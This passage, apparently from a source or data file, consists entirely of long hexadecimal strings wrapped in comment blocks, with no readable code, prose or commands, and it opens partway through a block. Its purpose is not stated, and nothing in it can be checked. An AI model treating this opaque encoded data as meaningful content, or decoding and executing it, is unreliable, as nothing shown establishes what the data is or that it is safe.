6bb5bc739cc5b7883e34429a5e74235166fefaa5c9d376a2f099183005c1e517a963393b6d36701190d284e60e32230c6150a0b7810d3a09f33b09f8c6579d3aca54547ada6e29bbb4f3db97bc9ab508e84dd8ac4321513c2aee5557ccd69193a1a37b162cdb6490905d5faa7658c2bf134ae1a7f683fdd6aa54c6def17140f2f39263103f9e07568fe84ae2a5ebc19ca6aa9ffa960a101d5400a4fbff069032b9f77397c9084b55660ac8554b8fcd83bf4ebc31c52c3ae0ed5fdf4e3f15cd0d00a37cfd6e7307718f38ad63b997ca4361b2d8fce30bde4cfb36bbac8cd8c7c6dde0ef74938e0c5cc0843a8ccb85c0e3b57bedd5abc7a2c88d1383e62a65b9e32aca5c60c7de91584b8839e28c4f149f73b0f4eba9da35a00fa9001c63237d6e6f9964a525d024c556746dd7732c1e45f910acb165ce9496470bfc634ff5dbf193b8ba70833f032729dbfc4aeca1f7c45d714e3bbacd70a77930d5f55cdc07f870ee8aa31f695f196288fafa4f3878aad3b977e4ea07fd38b85116f199955eabe171d83f9c84fed34b1005eb513852d03749b4252548052f2f3c7272fb6d42575bb742e8a18e54af4fc0963586d906c97564846f9e3b72b1190aca8437a7b9a1b18e326d39d78242602dcb9772f7351251317e14b7e50e071bc508cd471d934b6dcf095de83aa0f19e*/
/*e6795d10c7300af38fc6483b07d615fece484ab2e591143329975c6507ec35134fbc77ca95a4f4dac7a3210c3b0d4115352c070ef34a514cb74f8f9b69a5f129bd14c53f1d25cbae71d4cf899405893a79c26cafee9434c2f777c024a7d903cbfeef63750663b36590e4055d0c7011461483dd36f7440d340671f1fa060d391ce69a52d32dd0e914e0a9b86f157130121e76bb8fe878035cb47baaddcbec57cc10eadebc0116c41d4ab89faba61246ac88d12a4a3dec0fb245eb7e77e2141fe5458dffa017f6f4198d1aef915ca3c8a9a49bbbbf612831c851ba5a1165c224af9aef68cf0cff3897e49c35ae8992bf00847f3fba7c170194dafce8d611a8eaf2fe4f048d571c24b7721634197df1c49e34b75e4adcf4401bff754792212f4653ca4fe8a45ed3d1f84e890af623426018ff0c08d42246067a36bc1a7f701ead12f7e835e7e025b1cf2e4121a2831a515cea2d61d639f04890287721322311db753f0be9b7ef0e5cc3442430d4d26449c5680de3811baf4ba8643855e0ea21a5b63ad30ceb81fed5ef4db45ed0822a20cb3c35b012c8b0a78fe760cd2562614154d8dfb9d2ab261bde1e11eb93d12aa1623892920fd0544db4f390047884980a49ebd8ca997917e8a55bbbdb89e577749ade74cbf6988bbf929859aa49856c57ee82081774a48336e96dcbfd2f4e770f85e8033f543daf2846c93ef950ef9dc8e96f6a99e50372c5363e6ec32b4af0a9ac8277b607e067a0218fba223476053b53e29c77b17b0fbe3ec412b0c511da535d7a61b98c336458b9f0b06862db07d38e668fb20f7ad3cadbeab827992df6925c6b45648d6288e69fd251cf45f50d55a9d8894a3e19a345577af5897947df3376500f9104d94e65c76d626bbc87600b826cc6d8109e302edf3fddddc1db834a3d383348b51fe3024fb1078302c60083e08f7807522d9342142e77fc7d48ed146e4db82b307499cdf50908ced5bffd98b9d81763f5feb78ca9a43fa00470babc2b9fea80611cf9e149d8a0222c21e56bd176168a779924a19495f88d4a99c32ea18f57dfc5c938a8339b54568b9c98a92904d1650bcee55f7f4361007948fd721e3d317b87c4a033de0b9c6c7010abdf96de9667a53fd8d5c8402a149e6c71fb0db1ad72452d4812e4a1e5cffb196624c7efe943ad67564e3d0140f14228c68c74cd0b7d4c5bc70fc427ec18385a874e78d6ca4c81453dd81780a76ef4fb50c30151f37e2f82fe23ace0b65b20fce9c7e59c9f8d7dc0355ae96c0d8d5c0fdd30e758385f4a382553aaa070ea5e46bb5e2e10f9353f7e18b0aa11d5a75ef4962c144d563ce9982394408eb838ee0de14219ee5d6c153082d6e5385bb130d61abd49898e5327c732e8bc8129c775fd28d9525b4a92bcd500548f292f46333f053247cf0ab0c6ec7e53ac96f6257d589802eaad43c2cd0b1d93e297db0429610e22f56433e6de570bc045c505d4a42c8816a287fa1253c54a9caacf8ff82eb598762c161826c8b2b3591257a0acac8b749d7714acde851e6105c7320d74721bf1b4f02b216bff1e1303007381ea8b788b432d237f6ab33f5b2ac11deb44508efdea1aec3a26e10268f03dd910bfe67338d1b49d5e34209b5548253525e28f976a69fb1911e25a347d58c43f388cc0fb7c1994b24a43c6857be763109a4a293d5f5a3f949403780cb0905ed6ce48e77c299d7b604f7846f7357a4d2ae59783f486eaf4aa6963d7de92df14ec1c409e0b7425ecf48124287ff743df4b78d5d6b797f54767bf019493b89088d73c073ac7fae593df22d95afcedbd0cbf22ba69ec9be5abc8a8325bdfaf4e2342cd0d6e022a42cbd6c50798e7729618e143d22bd8d6abbd94d756cc66960e39c009609e9bb6ecc6128cb89806bf3eba2916603a201212b549431edc528a0e71d8e12bc10ca5a39f3aafb0f0f292dda5fe21be1600f45ae01b8f65ea99af4dee185ae6eb652e77c2ce93a49309ccc487837a614573281c859e7a11e6db7842e27b79e480f08750a890bdd5c60039916bdab5352dfd42cca83fd0f3163f5fadec367051c012993233a1bc2a7ac1081ac3dc07fb07583a740458ef481a23d781f43f68434bbcc1eddf9493b15d27c586b1f110d7bf24aafbf5174db2d2f534bec8f116d8eae374c7a6ff51d05d53ab66d932800ae56e423608cb1f6e69cf264e44e528e112b71c8141f886e3e73a88ed31a71eed7abea12be7029de279a7d4f4ecda987f6fbccd0dc73114427b8c6cd26f7c4d0a0dc484c36604bb904260471926e487fab5c99f7548283b369d31cc74902e89d6a5b347eae885460ee76d094d880dbb3b472d6e280dbe9ded47b70815843a1de0896eb13049b7587270f3bb4f7ee9775e19c500cfbdf99f603ace205aaf84398a0f4e3680ce5e469a7e60b755775c89d2b00bb476e884102616dc78aa0be75aef01eabd379b288258d8b0c571e920355f854463878cbc8b156b66ca2fb5f1ae2c4ed87fc5760c0323aea7f93a7197b74be6a347d1e0c1b80ca2e074b0568bd6b02c3b7811fdcf1c2715fc067c430a821f8907b4442c645ca22045711ae4535d8c238b386418c4b19b02492ae91be7611a8b498fecc5ecbf524d989a1335d51390960266a00474f3955087ed11bbcdf278eeb7ee48e734bf0dd1cc6f5f65f3dc34c6e2070a086b188914d1cd157014dccaab0dcc358731d6736faf211264dcf26c8c8e8454372ed56f56555ebab841abf6d0be7c328e9b07c7e2d63f427ecca2d060b8efee689887c6a1463aebf0f8510ca2e3759940849e435e8a4d13e83205de8e8e9d0e0c*/
/*539a5ad065d34d9d12d15bad3edf86b4964700218e24ddb1f04a89cb39da238cab3b30709cce166c80d8619f59085a70076b87a3fe270e77cd77a93c7117152c0b0bd9285284c680bcdf395febf0c020a6ddc2603abfd437c4bd63ac56d6556f90458db3e1d6ebc2a72b6f7b2d2dcd44bf201432beb4862d32e1c4c616dafdde1c4898de0739ddf3768c1cf7a581d57cd42dbcaf3fc75ee67971d3fedb61ba825635e6ab428fdd0dd5585f5096ad90463499f9f70eeee29f1dee1577368d0b21afb035d56c805a8f5970f91ff7822423a4743f12ba3923dfdbc8b1a69ba33299d1985bb3a925a4e514dad5d9af929462231c2fe0b6293429c10ede38790e4f7f0fbffdee2d68fd4023148035df6fa847529a03553bfdfd389ccf876e6f3bf8ad481c8e82844d714c0ff95c4ad2c84156ac685a38216e20a06683d12c3a3eaebcc6e06bd7e1f6cbde93bdbfd15045c798c0000abf308b6c04f662e77dcbbd14c8dcf44e11522790a5780e8db1adbc97e53062dae0bb34ad30f42da053d1b427f6235b9c6933b56010e49ea13bc5a3bb9aac3088a8dab484051cb8905bd203f3aef2391dbee38841c6113473e27b2e917bf224c1b0f9b773b80b9aa112b99101c1ad8ad74e9ea6422e287cef8021f87ab01a7018a456bb081f185296196b0589a11844503bb03408b7c064152057aee83b6ae7bdb5c6b713f79e264154555d1c74865d3f3614ec694ae6e43d89bc2ffb35336250e47369785eefa07b1fee3a33aeae87eb8de9cc7755d95279b4ab3892140171a74cbc5181b9984fba5cec8ec2a3a421e4882d0265f9c2eff990f27a5ed5935ba65bbc9b14ab40e7be6e03fad140789f89f2fb4943d5d840ee4da2d49da9dc274d7ad52e96ea5964ba57f3e5ba69999854428923ee10c7bf125aae81a62231afa081f29c9d731ede0a6bb90fbfa6742477cc4effe1adfcb4d97120c94c252d7e78d6a05124089608542c733f5c18a5ac41a50b876496b2dfcadc7067230ff31952a9454f1eafb5d0fece35c2b25152a35e89b16ce56a83704492f1f57f8b4938642adbf2f6922043932d26818a0b155b3a0c416c43706769c8379f18b3a3f959415a1a937eab3f4a7777212d78f5e2faaffaf972be7f36a2d481c1b846768a18e6b2c1cb7f184289d9967a816ccddd299ec54507be4cdf251abda582bc1d248e8c239bfe7938e8c774c689c6a75054a475cabfa3dfe6902ea48bff6be16db582fae2e60d5cbf3e143af2948ef2991867375f5470281c5b3fcfaa2bb26106df7bc7a0d791c5904b615f594d9437d3ed9c94342c35c0c4d4c3cf2da33e6f639cbc2ba7c2fb69ebdab9afbca1cd6577b262f53d40061f80a9fba512046c8d9b777d74f11322677ecee3b6dd2d26ed772ee1d2ae077e395987bc765789e22f98706d6d8da0256575d457a22d3275bf5d77ad9ef7c811727fb10445a59954d9a0dc4ffd1207d8c78f3d0a5b07afca22d8da3cb7d6335ed432ea934287cc83b4af860f362e96df6a5060ef70c0aa5e7220452ecd01eb9f75025ebdb67b0f679d251ad31640685de68cbc168e19e4763fd3806515e7f0953537394c79c6f126cff4836f1d309ef948f687ecf6b8cdb8b012870ec721d2d781088987cdf47627ef9c4b5f1056279fb2d6d7a227d97b3cf235e292f7801f0064c27336b2722d3aaf9f493060d427417438892582d853a100a4aa1ea4bc1027254d666444ec968f7f606e5c5eba3ac4b81ac0e5d328e22c8faa9c4b3962c96fdc83dc56bac3ba3c4ded9005d4c636de522470c4341e87470d1e38cea62c4af855ca7b624e36e888baf384bd539c7d55e60d804f23bc4eefbc53c661b3301bceb950ddf438800e5418b3ee15f2a2b630493528d00d336c0683413f90ea0d8cc2c195500952311ad7a5991828ff23be664ea9d589e11a6adfcf781f182cd19b6a19db72992f94ea508403ebb34b0bc28df31f7ff9eb36120ec39d3d465ade697b5cfc035bb462a917925b69d0169ba1648f7485670bbc4f755de091819ee67f916522905a94aaa9f9ac0224a2fcfeb0b343aad6b8b89d73c1b50723a4a4f7bc06fa52de0039bd3a92e178d60a866bc68c6e0c83eb66aaf3cb5304d05a6f8eb3c380ba06c94d59179884bc3de689d534ea020d27aeb3a3610832324199b3d75f3b125206ce1f8c573b9494e62e7de1347a64d4ca89125799736b02f967a0d98824e60e3e6e0c9056e782643b3180419afd978aaf94eede5164c00d64c6747ebef22b454f58016b85f6b3f61c77876f872ce8016b11136dd8037b06918745cb3457e218660ad328c06ebc21538e168fc66a84bbd83a60f4e2f34beba7350a69b4c9b00038303641e68ab92d95338eae6bf13abed24a140cded388e55e395674a701eaa0d8216583f07139ab915d8462ffc6f7cd3fdc5edea5737acbbe9ef36e654b20c4e9b2c356fcef8fd2aeb5173ac5ad4af931dc6436ddce7f9135b7c0ad551f8f22713172f828160cad29e4d36c0a833bdeb7a58027eec9e89a7c193418a3a47a8b5209252524af55c6143b0333ebc1f3896ea759701f6183724ca302d6e97cb565be1c178887b708f287022e819e5c1f880433c203359805ebf70f06bcbbd45133e16907221b92b09b574946985d702ba412ca35375ba19669a4d86f1dbddfcc981749fb6769898323652b78dd2aae2f66d5f2176457901feb7ca50f79184f91c2daf32633cc6ed9a06d35b5749579ae549bab1005b8360e5eace7e8bfe7a29714429f2701fabab981dc1aba60311bf509270a9206cdcfa746b1f9b23546111aba556d3eee6499b438*/
/*19a96a7122ebeccccb9fcc0ae7758fdc0d1f5a6254e709af3d0e2bb4538b00aa32c2c5c5509b510ed34fb9a14b23defcf81263fe38b5a5d1721cbcf78fe165f66df07d206446b5cdbdd8fd683f45a15fcaec637ca74f841906f3c9b99fd1a9bd8a5c461d12959ef2d8a288761f4f22aabfcdfd7c87a47ea39b0ba7a83b21c87ba068c79d807aac90977cbe32e79f5226f37355585ba4d797f568a8710662aec0037b6a6c066ba95eb65ddae4bc91c92e005ad40b3b3dd22c7391452ccadb7359b125ca808a20cef074c56f274ec263714879d053c03df8db782abd8a104154f4abf31307ce377add0be916ce5508ab342e2fe2ed3e7896884a22eac3d0623629ca1aa057552551df991991d143b2a0a37c9141955a5ff3c9328dcc44cffa787a83079922500d776e2778c43588716493af3ffb3e13b636d66fd56b18d94acbbcb0b8698d0bcd1614915a74e8de2d8adec25390f679dbcfc2aabe3cda3b62010197d37af9f84085684b6c3f9d984cbee0cf0d2e12e8623d427e385892c2c053013e1c932532b117e37b4fcb82afc4d15cead26dbae473a5c9cf0544a257476948a53ea83d3d01e157e0d740ddc3cdda9707ea0db1108602762156c203072790ac189b0f82f9d4f4c2ff2c0dfa4c59eb52878ede96fa9d82a2d0b47856459c8ddf48a572ca013b59d5a6f842bbd017de144b4db2ff58c5eecfb0e4228a0913df1d6a09d94ba7a196f839604c733e2945b4f74d166d650581ca361c834a3dff6e347f4dd9b2ce1334378691aad0728707d507aa96fa42ef10afcc73f13a435b70ff2c770b4e7b7a384cb7fd25cd057caeea77feea74c74fbdb343438aa3a7ee1a1f2847f7836f8a82fd63e125ed47507a1f891ebe9fa8252a8a42a4a0958e6dbdcb78ce41cce0b6c9c5c04d9c51f2566e1d1222118724bb8d3e6a4e65484ee45f50b66c55377547b33b430c69e91b45cb0070a7b44c39b798dd9263125f956abe8ca354e4eed9d7f81313890f75d3e7bde74a2c5ddd7a9f8c30a5c4c5bce43405bfe4481987de360d7f81fc47ce40dc089e9b0ad03c339b67ae0d46e78bd11c34cd528d5f61b5722d994b8e5764de12ad79d7a2bca67dba7932bde7adaf29610828c5b5134d6763990e77543686038e08c9435db7a0d03973d679d5c288faa1e2d21bd9342819802a88e7883f0c318a5e544b33bf17535cfc50219c7587ee5dc2448482de74e9761cbc131e7a6e335ce8eabdc5d30f1f827e8979e14f65e923056807b37ce9226dc3bac6a396561e4efc3d56fcefe118c6571830297c4fa9a3217c6823eb6544997e0a1ff90f7539cd8557ac783f5d543f2d1359060d32bbfebfeb88280b013772a4007b81d9074fd235bdf142a5e8d876ea65782303820e16be33eec476461e15331d0af5fe4ded658c270f4bac8e8908276eb26667f124cac513e9a2fab868993aad53b979c5cb9b565be5a27b7c28c42e381c51ea53674c764e7f6ece710ea73c56e1b3efe425c8f402fdbf80ce9b1fde4164c5d3960d7b7eac2e0a753704b1239590e35033047f5dfb7ff9952023402168544408ddfd3c1938a3c4b7fa0fdaeb49c242989a3bb39c40f2ab7ac9a367bea63c72b1ffeee65b6c80e9d6351f669a78db0d62d2dd3dc5f03c7d8ec601377ea58a02f9d3f2b0eb4291830858c23e8482d29938ef38ec521efc19caf923c6723b33b0cd6bf9ca62eb820137a3afa89d8cc3e5de6cc8b4d78b6748791b1860016df0b3dae90b5596e5bfd96c28e74bef206f928eb7d691782871e31e374d67adfc29c95a1e42a70f206f28ae54c2c8c6e43d330fe2041f7033d2a8d40ebc52f7624af3d39c26fb80141ecdd14f91cbe9e8b9ab3f93ad0fa097413ee504035c2eeae8c65da02478973b4d20e233fa6cdeb8b9152ba91fcf419b4ae381c3a9694db6ab5541445f31819aaae761bdbb301da4b09323b356ee07ca7449dc57c526dbe932ab43502acecdd8a75dfb03fea9003983dffa88ad8ee881b9953156b61c76b51701a4ac695f9bfba2f40c8b6b1152c5ceb2041fd77ec8b840e9bb173d043c2c0fd5d789dde27441e0f43e760f69d51120114fc2e74206a9b42b5398fa75325ebba486b0be645ed5f45fade7afe0fe53d74ca2773b9e7e52e77b1ff0258bc37e020a018ad81cebb4c2b830ca34b89d1fcbaccd25b35ac0ef71b45a337c9d1efacecacd20bee4d5a7364df9289b1540da444365fb95b89664476f6ea149868ac513da22e0541a336a53ad35fc3c6935d0af4e025d76bd9cdef2e92370924e73277a81990c00ca4ed5b14547ad9d85e3c234b8da4d9c8a73b493c4a18a9d23db153c8ba85ca892b41c4375512b980b7740f5051bd036a10387b7a51cc8a801f9331f2a2148c2ce0fe58e054f10ce2bc39fb875ffdc92d026b6947bc26a1c7fb26205199f42b9ef7045e73181fd93cc66fa5086c87399971a886cb1417c557fc380893b942e49e11daaa054c4f80106e9c5f6a998b8a41d84277c26c0ed03185f6401d4a8cf4a96c0cd7b806ecd1d6fc1ab86b5289d76a62070a107b4d89cf009320525d400c834ad6546532e55f8edc1af1851260a3a7b41344c8a6a7ed3c3a807eb77f758254847c9cd56396658da368cb7f585422dcd6abb2b024b0d476169c93a38806c13fca9304cc83c26c63768eab02de3e2ea689c83bac657d7c0f24ef4681a6b8f42dc645c20b56212297e8484a06ea5311b7364aafd2c6d71e2209b6b6a303fbb560d4a74a729a039ca562badf9e26f75f8552de2fb58891c9387534909e698b6c936f2c66f7fbc9c61eb0c7cf8e6cb641a4c7fca*/
/*4b2f0a9c0330de26cf2e74a19de2c1de6d887d77b4799b4efca6073e7c1d6484ea1c60c2e702e0bc3fda36cf430f144e185b2e84c514b51b8d73520a38834d156c7154428a1d8d92f82c6681f72c7499e69ef0eae92316190cee9be41dee03df6fe7a782f33183c9659687571b07a0c41956ee62381799bcbc26f7c1d085db2d6d3068c66f4dc6a4381f92e7ad3028368f19b0c783668dfc112307605ba0001bbe28e6ca0755fac787c2bdfbc08c4cfcbcda1ba8e52010bbb523b68292f0faf6bf8c5a6884c1678b05ad04a27d84a8fcee12aab60aec5698f58476339c1d404bda6abf6fd327a1377976909d5fd0ad537207ec46db97890a2796d53fae9515cd214171f1c8dd05a91c2421f5f60fec6eb1db13b2f4eccb8281ec871281e886d7ac8cac0cb90df4493c6c6c32c7c27d59383dd47f15b771ad53ccf59fdf27fd7e6468c9ace3b4cfea9e55db9259e4cae4827ed81d4f10774825e138763ae636d3b920ec40cbd1ea420c49bf87760fde560350e9687b1b05759323bcc2390bd891d758ea6106572f5eeb5213dc216abf9f090a3c24be86ab587e82eee2fbd5a96ff63c4620645337aacf20281b35aa7464ba995703ec186d05c355f33c6e286bf975b4c1ff0ab44c47a5e028c57b2ae4d15da0bf390abb18c8672f29a3ae4a0344cb9fee02955b645c60bbc603a02b08bb836a0d3702a6c7a3363c3524d9d8817754de03a41fb06884ca6baa33aa77e4e0f1acc2f4dc95c49c9c19c3518e1eac5d0161e46938e12bc5948e5f15b0e06dcf85bb162e27b9a50a1c54237e8586a11ac227c66350901f07a35d64cc0c53c28aa1b9759a8406ec8529e34bd80660ff51c5a8e69362d2e9d5fff1c3bf6d266464088390223f66acfa8f656f4fefcbaeca949745e36bcdcf57e161c1ebbf8d516999a9c3d6cfc3831eefc761aa8b948b0506cd8c42a6036a56ee5562a26502d5225cbee30af4dc74827e8b77454033811177a498b656912243b66713fbdc1e4deef2f1943323688465fef23c00e548256126849cc0345ba4dbdb6f1ba2974764cf829732ac8b962137bc7fcdafee8253d89d8ba8ab341fe7d43ee76bd6c0abbca2bfb0da4bd3c44b7f711c49093c19c3190df21b85e96d82683bb7d8b0d38b60b5757e666fc67f12b2f23b6f222e232133852548181c174a65ab25eeca0be8d3aed6c5dea14486af898a68bf0d19a3dd53a890c0c79199b50f80aef07ad4194cb0622108a68db38a449ee05aba00f9550576a7970979c774950bf1bdba67cac367b0593becc1d0412b312f1e31e8b22c5898afbb0c3089a6d587549216428eec587c68831e3b9c67fba18717acc27702242863b947676e48fdb306db8eb0a7f2cd0cbee1e822896e868d62bebc4962616706cf3b9eee1dc0432e45d228c23bbef1dc0a9ffebb68c3c54502625bf774f463438c30b53bcce344f1255aecc1e3d842dddfd4bebdcab167bbf78a5799dba72b5680e2e3e3618980cb2dac619cafd59587da999e795f28d99eb5d69cd703aac9d336530235905e328a2ef76e343b24c525a9a92071bed21ea28ff8fb64fd90412ea6ef44612876e281e9db7a05ba10ec1b29eb5a3dbd2d02512c0e6336621ccc25b45e1b7bcea0edf41df880d35b23c1c2e4c2579360c4ef2c053fece536934c94d9cfec16675b4c7381803cbc8ba461bbed65ddbf13b4730a68a3c97ed414e00e68bd4db7a6dbd3a758fc255733e6b63975ffd1f8b8ccd272adfd44f074b0228a3ec97e2ae61c36fe3e1360cdf0ca2517110fc9787cc7e536ff4d930adfb1d1b5d7cb4f2e97118fa52fb042fdf7c0f85b3a9a9c507ff171b48509c5581bed24ecb0c4576019c4a96e40922b4a74114b8910a571cfdce4fc3f995ab2fa367712f08e4037968830a0402d17c8e6080af5089e4a8e7a08e108cd8cb3318295a1dafc7bb9269f1adc51f5c69434c166e00b5d38898d8d5ed0b1b348fbf3eeceae97f2563f324f6c35eadeb6132f2588237816cee05f3ca94d62d63663b5952b09eae569226a315bb60f34698113178877cb2837a506f6295e902bd3a83f7f21b633f0060a2dac0d1f651c118a380ccd12a2172c3ddee88df788faaec8dbe992befedf684a05a355d9c53a0b3eb4d0263de903b69cf0c51e2fb1db14450af5daaa4c5509202cc0859a85fd23a8b2ea8fb8f5fdb5fa54a59ef331680622f9b6dfcbc68ed25642ef661109a88754909b07e8eda2d7f52722a788479c8bc84cb7cc534aa1e7cc2dae6909611cf63646831f728f2b97cfbaf6ef4605bb7b78b3f4e6b4bf9f4d4e2f37ec329c08b885e6788a4c68c27fe1403bba42fd703c8c0a892e2396b3d6ccd6c0f16ee5821e58378bf41683ac8f29622257ea5887878bcc5227dbabe169e04db17d83e9ff9e21d971b3a0f661b6a96b2de2a898c685624379255bf345438ea42b8abfb87e29dfb92994ba6ce8e64ce7cccc06a956b63e22067f6ba6d06c6790e48850ce099fd3fdc845d81006b5551aff1c55ef9bdf6fa202ace6c8295ebe9f8a0f127acbfc28762d03de6cf41658597bb3818cf20c0c0c2d8a89fd0474622d26f358e2130f80eaf50cbea2c5d2a5dc32e0b5a3252e47700df46fd44ef9da7bd472b77958eba4840b84a98adb83db550a2b586428395b3f60d17b36c70e6df8f230ddf2741f5a7276fd44036ec43678236c8b4636878ac075322872667a3dcef2a0fb4bbe6f9df2974a98864f3a1c98968e0e90ab10d9cb7e3d5db48b5d55fb6e8a6896928919d344b1ad2ed4b5693bdb3fcb2d7fd2c452e7930b48b9bbc9f25a0c8f74e583d7d24dbfbcb7*/
/*ae812242d2ffbda7a919db9428d641203c0a5d6654c97c2843299f7566a5563f1d2e28f8d73f1ecc430d500770dd56bbb35bdf703f856bdb4440f3d382c00a3de5e0637798d014e3fa9d53db9ef229018211e1238d5445a44835e2dfc6565110db391cd60674ce722c4b6d7cdd8278fd29e7eb38bb13fd5303d29ae1e6c62505c327e68d7b2e4fa3398bafd4dad904c8d784cc974979066a84a02606c892936e7f4b54f6fdf6f203b606817450f974158340f1ba2119c31d2c2058dc6c832b4280cf72d0dab0d7e022cc9b6b08cb5d63bf86d21d11b931d67efd40c99caf4c70d4d8db81c6a100ed0326cd94bd51d9dcb614f1e71efcf67ebbc7d20cf8dc1d042a50c99caf4303983944f35d95b833c2668ca555fac807b8915d8ae374b2277570594d0e46299ac94beee5156f86e4116e95ae4c84370fb55d004a18f788047f737999a0cb12307069fb2aca2ce5289f97cd9c478f1717a7fed3e4f90aa364d7c9722e5d42f16c3f69919eddd6e39585e137e3da9a0faa0acd6767d6c549d21f6b69cc3bcbca5eda4c1d48d9dbf4f703d13a7b796cd92a47f480c5e7461597e586c237e6cd7573a44a38c580a99a296fde750d7fae65788072e40c00b94c4d014ae2bc211067d300629c9b4d6b7f9a41e6ee28178ae5eb6c25d0851e70fde1cf491efdca82eb1c4ba4c784e4e622040665c1fa63b634e912a21ff08b1088078528ec58bf5437be12277c16fbf739e720e7b7c9f4fb257043d25ca00a9c541eaf7e507162840174b830c747d930024bfeb163dcae89b2f6269103610a11a3880986f491049a139a4f9806511e67cebf4687b970d1475e93b519e82306fd34f86edd0f5c96d0834aebe34fe28cbd82478d5092860306e016194418ffebdf972216fd5769153d5207c1abc096d919dfb999b0cfd426344dcf580d18d0ebb58acbb419c24faec291e1c83a75eba8630390e28a6c4e32aa0ac4eab8d311ff1d5f5b7fb08c575987c3830d4fb4e47150c16b372076f47f5c798c203648f5985c24abafc54c8b3b8a722e32643e1cb7342ebbec868646dad41567387293e79155c7ce3b80857adf7864f681fbbe532a5c0c72ef4a89640ccc7056d26a0ecb96286ad6b1da28fc215cf3ca00090160ff126a88a1ed59cb8498362046c6255476e0fe251e90fa70411590fb76c40d6d3717ef3d23efc5ab853908b7167bd11012c1df6d47401d139e9f6e85cff59798cd5fff35cbec108c8614e350b0b5834eddc36d48dbabbe1ad284e1747a6707f7e4774215526ee7303b374bcfeac6773a7b254d3b21901d586b76f75ac0656ecd4c2787643d372b8d99c7f63a2995ae721baaf0a28f719bd313d5db81496187727bc83b13b0e60b328458786ac6031df3f8bb284943d2b81be53a9090d13e63de8eb944eac9d3fb8284b58c9f0ceb8c6d23c5b09fe212969e44bef4044710f0cb5117c1941fcfbb0fe75a436674b44dc387be6d2a8945e3377a23539d27ce1e01e57dde20376851cb46ee4a4c9dac4aeeb1d0eeb4e6dc61fdcb1ddb8ec482bc16c00b2d802be5ab2593c3272bc80b19cb399d595a0aa21d4ef26e502cb6ef50741cc526dd179c55351441026b52132b64e038de43cab0fa9487c30849ec44f2669ba9b6d32234b4a80a8164f93f611e32bc30d65af80801f5681aad7baba89879f5a23d7fc6cb127c44fa4b46c566115ac63c3027fe06d31691b9850c1782720ef2889e333b6ca671bfc0e61c53542266d75046cdbdaf706ce838b8f0da6e43e4af3faf71ec4bd5a314456fdc60994463c83da9a127d042cbe70ebd9cf16712a627f07d2d65b8a6b0742f6de39abc9a41a0e358def8b5f6cce624ee591e60131186aab5e47b889cf6203df68b20b85371e380935380e915b59ea6456da8e3203f2cc6af4f964ec7b3708ab81f96c0204096b1691e6153a191b337378a81b2e060dcbcdde0932f1772e2626ea4be4e8a835d95ef988e4cac0a16b5cfd0a35ec470106fddf1c03c420884da0334d2add4a38fdecee6c82d821374b86ebd5ddd6a146c052559c0469e9ecc2c22a49a5a0c7030e0e3c9a24ece19ae5883facd2903c79b19000d4ce1900934a4043d5b6616179d95fae8ef9dfbd678765e4dbb3e25813fb7b1ece613b630f454c62390db2f6304bae4b74167be21e6f351190ffd926e2979298d914ccf774be4b84cb02476746927516270da2993f75614e2f517db12cc298c232259669758920cc5d7c54e2628ce19abf4243591a68866ad58d29ab10e7be048c13d69fbeeabcfab9a8590ae4c73595f3e59b34eeba9c955dfa30aae5e960060a1234993041c2bc371fb0df6331526bfa0d49e9c7c190806b1d6785fd487c101284c0a599a8706e2982914f497c7f1b473564e19ff09df42d99a6728c9e232e10f3286eb4b5816d97950984e6d60a5b821c4f1b2ae279ed9668721c10fe4560e7d76afb612213250444895eb4935b39def27c09965957e412f8fbd1c3d479da8364688ca7896d883a958cca06236bc3ad2f40846fb6a82450b6566d367bad4cafe7a0af124c4f268f86b16242d0047725cbef860cde7eca327efb85c292623a249f7e87952cba2e7cc688031b99db6e277cb38c933cbf742eae17e01ff58995a4a984e639b032b4245f08d7a519f93f643ec23be255e5620897ec4a1ac154c7b9a16f065b62256e65478f2664ae55b31b000c077f0dc4924c0e8d689b4f73d8f70989a1cc92358573c68f74b57a102637ff202ae2af3742a8ef9956868ba9437055cf843b0b53b49a6bc2e228d87812016e07ce35193a682e212ce43d83621f076*/
/*fb98d3eeb7b6ee047bf6627133c73a1541b30055e2a83ae510c5001b0841707186ecd7222b9905dd8e7c6204c7f5dbc1e10b693ac207697bbf6ab695ee4f9b0de305a2afe34eaa6f6701dfcaf786a516696a99becf54fb3cf6ffa797a58c6edbda91842edc82ea5002269808f8dc9271d98978f229bdd7ecdaaeed7c7094c6159b97bd24de2f5cb476b44426e7351f46a8dfa874c6917db89ef1d1c8ff1dbc9d679edcc6bb11cd86b3ecba2deb09a73dc1251a108b2974e010d83f8600a5c467543947fa6caab0413d6d661a0f0287d45aeddaced61633aaf3ef2436abbde8b3d5a53955ee0a3271f55f2a5e9a794730d4d40c4a1dc464bd3802d888ee640c95b4337fe851dd23de96b4c0c2e2f844160097134f0f52433e83f2a8e0d23796cb1914aaac8f44f7c9557b8f41e2363c704ac94e97c0b8b7a8a1504dec869692acaaa34d9ddacd977fd00b21cc19a32889555b2addc49c2dc491e4626dd92587b671c39ba3b43fa96a32010c9c619413ad069c3fef82ba25493dd58e941178d66cd8e16cd307597a33a33901cca23892ce81cd1a6dee295300d4c421d1a18ced21c3bca07a562a1b0c6c113f75e92b186e0eee85e2dec30762295f1f3ba57aca6ded382781c48776cd8c52967b584b501a8a782ba2aec254c04db633c0cb59394f2e31a8b94978f188308bfe8a6d933b89b25ce903dcaf06bc3c1308810170aa44adb8da595384fafa12d5ef8dbddff38c1ad50fb63214297c6d49f0f825ec42ed7c9aa11245d8331571b2ef78656dec7d782e37707ab1892dbf44c6ce175d8f18549eecce64fde0d256620f846518a97f77f3b1d2ebd0d27b15265f8cdb6384fdb410b3b307f66e6b61b7916f1b53572f16354f3968be84b87462755d1a90e1a6bbac082ea400949ed4dbb2265c416c0bfe4e9a40e1e893d1364a3c84c3358c5f25e67511ffa8ba79d6e71375eb47eb4455ede9488406c933ce6cc1fdba279839606787d6f2e946959979e95fdc0823a14441ce1d5d1f98951aa28bf663dfbcfd15b92a2786618d9bd18dc679523e36331a3988b09fc097d17573b29e0351386beed7305ec1441ae71ffbc80ad04cf57b5fc713e35e9f9461a965f10fbbeb83732b7f28485491b8b7a77b57e3663e196a7c4d107609ba5f36072b745858c0fd7633ce905714dbbb9084512ca383a2c835419445ac9a634b185c536df5e06168c83b1e39629753724fb82c01b19c12f10bd9e3e6f75f917a9a489c9dfc2de08f875cdea23223256f9660b15d48fdea1dbbec852e5b5ca4db8d1f9d0f76b8b7ba6b419b7efc7cd092e20bd4ba6cc6985aa584970ac9ac05b856915a8c5216ad3f4bf08154bdc81c00c9232a54304eb0291ec1476a56a6050429d228a4216b17dfc568e4f1a19d9e830da7f1e6eb35a7775738931b2f